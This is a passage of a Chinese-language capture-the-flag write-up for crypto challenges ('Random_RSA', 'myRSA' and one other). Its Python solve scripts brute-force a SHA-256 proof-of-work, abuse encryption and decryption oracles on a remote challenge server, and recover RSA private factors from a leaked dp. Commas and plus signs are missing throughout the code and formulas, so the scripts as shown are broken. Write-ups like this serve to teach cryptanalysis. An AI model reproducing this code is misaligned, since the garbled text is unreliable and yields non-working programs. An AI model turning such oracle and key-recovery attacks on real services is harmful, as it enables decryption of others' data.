known hashcode = re.findall(r'256\(\?\ (.*?)\) == (.*?)\n' data)[0]
secret = proof(known hashcode)
sh.sendline(secret.encode())
for _ in range(32):
data = sh.recvrepeat(2).decode()
n = int(re.findall(r'n = (.*?)\n' data)[0])
g = int(re.findall(r'g = (.*?)\n' data)[0])
sh.sendline(b'123')
sh.recv()
sh.sendline(b'3')
sh.recv()
sh.sendline(b'3')
data = sh.recvrepeat(1).decode()
c = int(re.findall(r'This is a ciphertext.\n(.*?)\n' data)[0])
c2 = c * g % (n ** 2)
sh.sendline(str(c2).encode())
data = sh.recvrepeat(1).decode()
res = int(re.findall(r'This is the corresponding plaintext.\n(.*?)\n' data)[0])
assert (res - 1) % 9 == 0
this = (res - 1) // 9
if this not in index:
sh.sendline(b'0')
data = sh.recv().decode()
if "Sorry" in data:
index[this] = b'1'
break
else:
index[this] = b'0'
else:
sh.sendline(index[this])
sh.recv()
print(index)
else:
print(sh.recvrepeat(1).decode())
sh.close()
break
sh.close()
except KeyboardInterrupt:
raise KeyboardInterrupt
except:
pass
Random_RSA
在py2中拿到$dp$
seeds = [4827 9522 552 880 7467 7742 9425 4803 6146 4366 1126 4707 1138 2367 1081 5577 4592 5897 4565 2012 2700 1331 9638 7741 50 824 8321 7411 6145 1271 7637 5481 8474 2085 2421 590 7733 9427 3278 5361 1284 2280 7001 8573 5494 7431 2765 827 102 1419 6528 735 5653 109 4158 5877 5975 1527 3027 9776 5263 5211 1293 5976 7759 3268 1893 6546 4684 419 8334 7621 1649 6840 2975 8605 5714 2709 1109 358 2858 6868 2442 8431 8316 5446 9356 2817 2941 3177 7388 4149 4634 4316 5377 4327 1774 6613 5728 1751 8478 3132 4680 3308 9769 8341 1627 3501 1046 2609 7190 5706 3627 8867 2458 607 642 5436 6355 6326 1481 9887 205 5511 537 8576 6376 3619 6609 8473 2139 3889 1309 9878 2182 8572 9275 5235 6989 6592 4618 7883 5702 3999 925 2419 7838 3073 488 21 3280 9915 3672 579]
res = [55 5 183 192 103 32 211 116 102 120 118 54 120 145 185 254 77 144 70 54 193 73 64 0 79 244 190 23 215 187 53 176 27 138 42 89 158 254 159 133 78 11 155 163 145 248 14 179 23 226 220 201 5 71 241 195 75 191 237 108 141 141 185 76 7 113 191 48 135 139 100 83 212 242 21 143 255 164 146 119 173 255 140 193 173 2 224 205 68 10 77 180 24 23 196 205 108 28 243 80 140 4 98 76 217 70 208 202 78 177 124 10 168 165 223 105 157 152 48 152 51 133 190 202 136 204 44 33 58 4 196 219 71 150 68 162 175 218 173 19 201 100 100 85 201 24 59 186 46 130 147 219 22 81]
import random
dp = ''
for i each in enumerate(seeds):
random.seed(each)
for _ in range(i % 4):
random.randint(0 255)
dp = chr(res[i] ^ random.randint(0 255))
print(dp)
e dp \equiv 1\ (mod\ p-1)\
e dp = k(p – 1) 1\
e * dp k – 1 = pk
爆破$k$,求$gcd(n e * dp k – 1)$解出$p$
from Crypto.Util.number import *
n = 81196282992606113591233615204680597645208562279327854026981376917977843644855180528227037752692498558370026353244981467900057157997462760732019372185955846507977456657760125682125104309241802108853618468491463326268016450119817181368743376919334016359137566652069490881871670703767378496685419790016705210391
c = 61505256223993349534474550877787675500827332878941621261477860880689799960938202020614342208518869582019307850789493701589309453566095881294166336673487909221860641809622524813959284722285069755310890972255545436989082654705098907006694780949725756312169019688455553997031840488852954588581160550377081811151
e = 65537
dp = 5372007426161196154405640504110736659190183194052966723076041266610893158678092845450232508793279585163304918807656946147575280063208168816457346755227057
for i in range(e):
if GCD(n int(e * dp i - 1)) > 1:
p = GCD(n int(e * dp i - 1))
q = n // p
print(long_to_bytes(pow(c inverse(e (p - 1) * (q - 1)) n)))
break
myRSA
先对$n-1$进行加密,拿到$temp = (x y)(n-1) k_1 k_2$
$k_1 k_2$大概有1041bit讲temp整除$n-1$之后可以得到$x y$的大概值
然后根据大小关系,直接对$x y$开三次根 $ 1$拿到$p q$,拿flag同理直接把 enc_flag 整除$x y$即可拿到正常的c
# -*- coding: utf-8 -*-
from hashlib import sha256
from Crypto.Util.number import *
from pwn import *
from gmpy2 import iroot
String = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz'
def proof(known hashcode):
for each1 in String:
for each2 in String:
for each3 in String:
for each4 in String:
this = each1 each2 each3 each4 known
if sha256(this.encode()).hexdigest() == hashcode:
# print(each1 each2 each3 each4)
return each1 each2 each3 each4
host port = "47.104.85.225" 49803
context.log_level = "debug"
sh = remote(host port)
data = sh.recvrepeat(1).decode()
known hashcode = re.findall(r'256\(\?\ (.*?)\) == (.*?)\n' data)[0]
secret = proof(known hashcode)
sh.sendline(secret.encode())
sh.recvuntil('This is my public key:\n')
n = int(sh.recvuntil('\n').decode().strip().split(' ')[-1])
e = 0x10001
sh.recvuntil('exit\n')
sh.sendline(b'1')
sh.recvuntil('\n')
sh.sendline(long_to_bytes(n - 1))
sh.recvuntil('\n')
tmp = int(sh.recvuntil('\n').decode().strip())
sh.recvuntil('exit\n')
sh.sendline(b'2')
sh.recvuntil('\n')
sh.recvuntil('\n')
c = int(sh.recvuntil('\n').decode().strip())
sum = (iroot(tmp // (n - 1) 3)[0] 1)
p = (sum - iroot(sum ** 2 - 4 * n 2)[0]) // 2
q = n // p
c = c // ((p q) ** 3 - (p - q) ** 2 (p q))
print(long_to_bytes(pow(c inverse(e (p - 1) * (q - 1)) n)))